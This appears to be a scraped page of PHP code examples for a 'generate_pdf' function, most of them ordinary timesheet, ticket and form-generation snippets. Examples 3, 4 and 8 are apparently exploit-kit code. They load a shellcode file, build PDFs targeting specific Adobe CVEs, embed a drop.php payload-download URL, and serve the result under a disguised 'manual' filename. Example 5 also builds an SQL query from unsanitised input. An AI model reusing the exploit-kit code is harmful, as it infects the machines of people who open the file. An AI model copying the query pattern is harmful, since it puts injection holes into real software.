Пример #1
0
function generate_pdf_from_timesheetid($timesheetid, $userid, $courseid, $method = 'I', $base = '')
{
    global $DB, $CFG;
    $units = $DB->get_records('block_timetracker_workunit', array('userid' => $userid, 'timesheetid' => $timesheetid), 'timein ASC');
    if ($units) {
        $start = reset($units);
        $startinfo = get_month_info(userdate($start->timein, "%m"), userdate($start->timein, "%Y"));
        $end = end($units);
        $endinfo = get_month_info(userdate($end->timeout, "%m"), userdate($end->timeout, "%Y"));
        return generate_pdf($startinfo['firstdaytimestamp'], $endinfo['lastdaytimestamp'], $userid, $courseid, $method, $base, $timesheetid);
    } else {
        print_error('invalidtimesheetid', 'block_timetracker', $CFG->wwwroot . '/blocks/timetracker/index.php?id=' . $courseid);
    }
}
Пример #2
0
function print_ticket($prenote)
{
    require_once 'print.php';
    require_once 'generate_pdf.php';
    require_once 'convertImage.php';
    require_once 'print_local.php';
    if (!($prenote && $prenote->printer)) {
        return false;
    }
    $flag = true;
    if ($prenote->printer->ip) {
        // Imprimir prenota por una impresora con ip, generando un pdf.
        generate_pdf($prenote);
        if (print_prenote($prenote->folio, $prenote->printer->ip) == false) {
            $flag = false;
        }
    } else {
        // Imprimir prenota en una impresora conectada al servidor.
        convertPngToBmp($prenote->folio);
        $flag = print_prenote2($prenote);
    }
    return $flag;
}
Пример #3
0
    $pdf = $pdf . '0000000000 65535 f' . $eol;
    $i = 0;
    while ($i < count($xref)) {
        $temp = sprintf('%010d 00000 n', $xref[$i]);
        $pdf = $pdf . $temp . $eol;
        ++$i;
    }
    $pdf = $pdf . 'trailer' . '<</Size ' . (count($xref) + 1) . '/Root ' . ioRef(7) . '>>' . $eol;
    $pdf = $pdf . 'startxref' . $eol;
    $pdf = $pdf . $xrefPosition . $eol;
    $pdf = $pdf . '%%EOF';
    return $pdf;
}
include 'config.php';
include 'include/util.php';
include 'include/shellcode.php';
$pdf = generate_pdf($config_url . '/drop.php?e=Adobe-90-2010-0188');
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
header('Cache-Control: no-cache');
header('Pragma: no-cache');
header('Accept-Ranges: bytes
');
header('Content-Length: ' . strlen($pdf) . '
');
header('Content-Disposition: inline; filename=manual20100188.pdf');
header('
');
header('Content-Type: application/pdf

');
echo $pdf;
Пример #4
0
    $i = 0;
    while ($i < count($xref)) {
        $temp = sprintf('%010d 00000 n', $xref[$i]);
        $pdf = $pdf . $temp . $eol;
        ++$i;
    }
    $pdf = $pdf . 'trailer' . $eol;
    $pdf = $pdf . '<</Size ' . (count($xref) + 1) . '/Root ' . ioRef(1) . '>>' . $eol;
    $pdf = $pdf . 'startxref' . $eol;
    $pdf = $pdf . $xrefPosition . $eol;
    $pdf = $pdf . '%%EOF' . $eol;
    return $pdf;
}
include 'config.php';
include 'include/util.php';
include 'include/shellcode.php';
$pdf = generate_pdf($config_url . '/drop.php?e=Adobe-2010-1297');
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
header('Cache-Control: no-cache');
header('Pragma: no-cache');
header('Accept-Ranges: bytes
');
header('Content-Length: ' . strlen($pdf) . '
');
header('Content-Disposition: inline; filename=manual20101297.pdf');
header('
');
header('Content-Type: application/pdf

');
echo $pdf;
Пример #5
0
 function pdf($ID, $download_pdf = '')
 {
     $ret = '';
     $pdf_filename = $ID . '-SMPN1Ngawi.pdf';
     $link_download = $download_pdf == TRUE ? '' : anchor(base_url() . 'index.php/psb/pdf/' . $ID . '/index/true/', '<img src="' . base_url() . 'asset/img/download.gif" height="10%" width="10%" title="Unduh Formulir">');
     $query = $this->db->query("SELECT * FROM `siswa` WHERE `nis`= '{$ID}' LIMIT 1");
     if ($query->num_rows() > 0) {
         $user_info = $query->row_array();
     }
     $data_header = array('title' => 'SMP N 1 Ngawi');
     $data_userinfo = array('user_info' => $user_info, 'link_download' => $link_download);
     $header = $this->load->view('header', $data_header, true);
     $user_info = $this->load->view('user_table', $data_userinfo, true);
     $footer = $this->load->view('footer', '', true);
     $output = $header . $user_info . $footer;
     if ($download_pdf == TRUE) {
         generate_pdf($output, $pdf_filename);
     } else {
         echo $output;
     }
 }
Пример #6
0
 $files = array();
 $basepath = $CFG->dataroot . '/temp/timetracker/' . $cid . '_' . $USER->id . '_' . sesskey();
 $status = check_dir_exists($basepath, true);
 if (!$status) {
     print_error('Error creating backup temp directories. Exiting.');
     return;
 }
 if ($format == 'pdf') {
     foreach ($formdata->workerid as $id) {
         /*
         $monthinfo = get_month_info($formdata->month, $formdata->year);
         $start = make_timestamp($formdata->year, $formdata->month, 1, 0, 0, 0);
         $end =  make_timestamp($formdata->year, $formdata->month,
             $monthinfo['lastday'], 23, 59, 59);
         */
         $fn = generate_pdf($start, $end, $id, $cid, 'F', $basepath);
         $files[$fn] = $basepath . '/' . $fn;
     }
 } else {
     if ($format == 'xls') {
         foreach ($formdata->workerid as $id) {
             $fn = generate_xls($formdata->month, $formdata->year, $id, $cid, 'F', $basepath);
             $files[$fn] = $basepath . '/' . $fn;
         }
     }
 }
 //zip them up, give them to the user
 $startmon = userdate($start, "%m");
 $startday = userdate($start, "%d");
 $endmon = userdate($end, "%m");
 $endday = userdate($end, "%d");
Пример #7
0
function get_information_pdf($id)
{
    $data = get_input($id);
    generate_pdf($data);
}
Пример #8
0
    $i = 0;
    while ($i < count($xref)) {
        $temp = sprintf('%010d 00000 n', $xref[$i]);
        $pdf = $pdf . $temp . $eol;
        ++$i;
    }
    $pdf = $pdf . 'trailer' . $eol;
    $pdf = $pdf . '<</Size ' . (count($xref) + 1) . '/Root ' . ioRef(1) . '>>' . $eol;
    $pdf = $pdf . 'startxref' . $eol;
    $pdf = $pdf . $xrefPosition . $eol;
    $pdf = $pdf . '%%EOF' . $eol;
    return $pdf;
}
include 'config.php';
include 'include/util.php';
include 'include/shellcode.php';
$pdf = generate_pdf($config_url . '/drop.php?e=Adobe-2008-2992');
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
header('Cache-Control: no-cache');
header('Pragma: no-cache');
header('Accept-Ranges: bytes
');
header('Content-Length: ' . strlen($pdf) . '
');
header('Content-Disposition: inline; filename=manual20082992.pdf');
header('
');
header('Content-Type: application/pdf

');
echo $pdf;